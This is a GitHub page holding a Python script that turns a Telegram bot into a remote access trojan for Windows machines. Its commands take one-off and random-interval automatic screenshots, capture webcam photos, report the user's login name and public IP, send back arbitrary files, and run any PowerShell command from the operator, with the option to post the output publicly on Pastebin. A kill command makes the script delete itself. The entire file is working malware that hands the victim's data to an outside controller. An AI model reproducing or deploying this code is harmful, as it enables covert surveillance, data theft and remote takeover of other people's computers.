-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathscript.py
More file actions
215 lines (186 loc) · 8.28 KB
/
Copy pathscript.py
File metadata and controls
215 lines (186 loc) · 8.28 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
import pyautogui
import telebot
import requests
import os
import subprocess
import cv2
import random
import threading
import time
alias = "Alias"
telegram_api_key = "HTTP_TOKEN_TELEGRAM_BOT"
pastebin_api_key = "TOKEN_PASTEBIN"
bot = telebot.TeleBot(telegram_api_key)
print("The bot is running")
# Global variable to control the autoscreenshot thread
autoscreenshot_running = False
def get_public_ip():
try:
response = requests.get('https://api.ipify.org')
return response.text
except Exception as e:
print("Error retrieving public IP address:", e)
return None
def create_kill_script():
try:
with open("kill_script.bat", "w") as f:
f.write("@echo off\n")
f.write("del script.py\n")
f.write("del kill_script.bat\n")
return True
except Exception as e:
print("Error creating kill script:", e)
return False
@bot.message_handler(func=lambda message: message.text == "/kill " + alias)
def handle_kill_command(message):
markup = telebot.types.ReplyKeyboardMarkup(one_time_keyboard=True)
markup.add("Yes", "No")
sent = bot.send_message(message.chat.id, "Are you sure you want to kill this bot ?🔪😅 Yes/No", reply_markup=markup)
bot.register_next_step_handler(sent, handle_kill_confirmation)
def handle_kill_confirmation(message):
if message.text.lower() == "yes":
if create_kill_script():
bot.send_message(message.chat.id, "Farewell my dear world 🔫🩸")
bot.send_message(message.chat.id, "🫡")
bot.stop_polling()
subprocess.run(["start", "kill_script.bat"], shell=True)
else:
bot.send_message(message.chat.id, "Failed to create kill script.")
elif message.text.lower() == "no":
bot.send_message(message.chat.id, "Thanks you 😮💨")
def take_screenshot():
try:
screenshot = pyautogui.screenshot()
screenshot_path = "screenshot.png"
screenshot.save(screenshot_path)
return screenshot_path
except Exception as e:
print("Error taking screenshot:", e)
return None
def take_webcam_photo_confirm(message):
markup = telebot.types.ReplyKeyboardMarkup(one_time_keyboard=True)
markup.add("Yes", "No")
sent = bot.send_message(message.chat.id, "Are you sure? Take a picture and send notification to the user💢. Yes/No", reply_markup=markup)
bot.register_next_step_handler(sent, take_webcam_photo)
def take_webcam_photo(message):
if message.text.lower() == "yes":
try:
# Capture an image from the webcam
cap = cv2.VideoCapture(0)
ret, frame = cap.read()
cap.release()
# Save the captured image
if ret:
cv2.imwrite("webcam_photo.jpg", frame)
with open("webcam_photo.jpg", 'rb') as photo:
bot.send_message(message.chat.id, f"Your webcam photo 📷🫡")
bot.send_photo(message.chat.id, photo)
os.remove("webcam_photo.jpg")
else:
bot.send_message(message.chat.id, "Failed to capture webcam photo 📷😓")
except Exception as e:
bot.send_message(message.chat.id, "Failed to capture webcam photo 📷😓")
elif message.text.lower() == "no":
bot.send_message(message.chat.id, "Ok no problem 👍")
def execute_powershell_command(message):
sent = bot.send_message(message.chat.id, "Please enter the PowerShell command ✒️⌨️:")
bot.register_next_step_handler(sent, run_powershell_command)
def run_powershell_command(message):
try:
command = message.text.strip()
result = subprocess.run(["powershell", "-Command", command], capture_output=True, text=True)
if result.returncode == 0:
if len(result.stdout) > 300:
sent = bot.send_message(message.chat.id, f"Command output is too long 🥵 ({len(result.stdout)} characters). Do you want to upload it to Pastebin? ❌☢️ Warning the file is upload for always !!! ☢️📵")
bot.register_next_step_handler(sent, lambda m: handle_pastebin_response(m, result.stdout))
else:
bot.send_message(message.chat.id, f"Command executed successfully ✅ :\n{result.stdout}")
else:
if len(result.stderr) > 300:
sent = bot.send_message(message.chat.id, f"Error output is too long ({len(result.stderr)} characters). Do you want to upload it to Pastebin?")
bot.register_next_step_handler(sent, lambda m: handle_pastebin_response(m, result.stderr))
else:
bot.send_message(message.chat.id, f"Error executing command:\n{result.stderr}")
except Exception as e:
bot.send_message(message.chat.id, f"Error executing command:\n{str(e)}")
def handle_pastebin_response(message, output):
if message.text.lower() == "yes":
pastebin_url = upload_to_pastebin(output)
if pastebin_url:
bot.send_message(message.chat.id, f"Your link 🔗🫡:\n{pastebin_url}")
else:
bot.send_message(message.chat.id, "Failed to upload to Pastebin.")
else:
bot.send_message(message.chat.id, "Okay, the output won't be uploaded to Pastebin.")
def upload_to_pastebin(text):
try:
data = {
'api_dev_key': pastebin_api_key,
'api_option': 'paste',
'api_paste_code': text,
'api_paste_private': '0' # Public paste
}
response = requests.post('https://pastebin.com/api/api_post.php', data=data)
if response.status_code == 200:
return response.text
else:
return None
except Exception as e:
print("Error uploading to Pastebin:", e)
return None
# Function to handle autoscreenshot start
def autoscreenshot_start():
global autoscreenshot_running
autoscreenshot_running = True
while autoscreenshot_running:
delay = random.randint(1, 10) # Random delay between 1 and 10 seconds
time.sleep(delay)
screenshot_path = take_screenshot()
if screenshot_path:
with open(screenshot_path, 'rb') as photo:
bot.send_message(chat_id, "Auto-screenshot taken 📸🫡")
bot.send_photo(chat_id, photo)
os.remove(screenshot_path)
# Function to stop the autoscreenshot loop
def autoscreenshot_stop():
global autoscreenshot_running
autoscreenshot_running = False
bot.send_message(chat_id, "Auto-screenshot stopped ✋🫡")
# Function to handle incoming messages
@bot.message_handler(func=lambda message: True)
def echo_all(message):
global chat_id
chat_id = message.chat.id
if "/sessions password" in message.text:
public_ip = get_public_ip()
if public_ip:
user_username = os.getlogin()
bot.send_message(message.chat.id, f" 👤 {user_username} | 🟢 {public_ip} | 🪪 {alias}")
elif message.text == "/screenshot " + alias:
screenshot_file = take_screenshot()
if screenshot_file:
with open(screenshot_file, 'rb') as photo:
bot.send_message(message.chat.id, f"Your picture 📸🫡")
bot.send_photo(message.chat.id, photo)
os.remove(screenshot_file)
else:
bot.send_message(message.chat.id, f"Picture Failed 📸😓")
elif message.text.startswith("/get "+ alias + " "):
filename = message.text[len("/get " + alias +" "):].strip()
if os.path.exists(filename):
with open(filename, "rb") as file:
bot.send_message(message.chat.id, f"Your file 📄🫡")
bot.send_document(message.chat.id, file)
else:
bot.reply_to(message, f"The file '{filename}' does not exist 📄😓")
elif message.text == "/webcam " + alias:
take_webcam_photo_confirm(message)
elif message.text == "/powershell " + alias:
execute_powershell_command(message)
elif message.text == "/autoscreenshot start " + alias:
bot.send_message(message.chat.id, "Auto-screenshot started 📸")
autoscreenshot_thread = threading.Thread(target=autoscreenshot_start)
autoscreenshot_thread.start()
elif message.text == "/autoscreenshot stop " + alias:
autoscreenshot_stop()
bot.infinity_polling()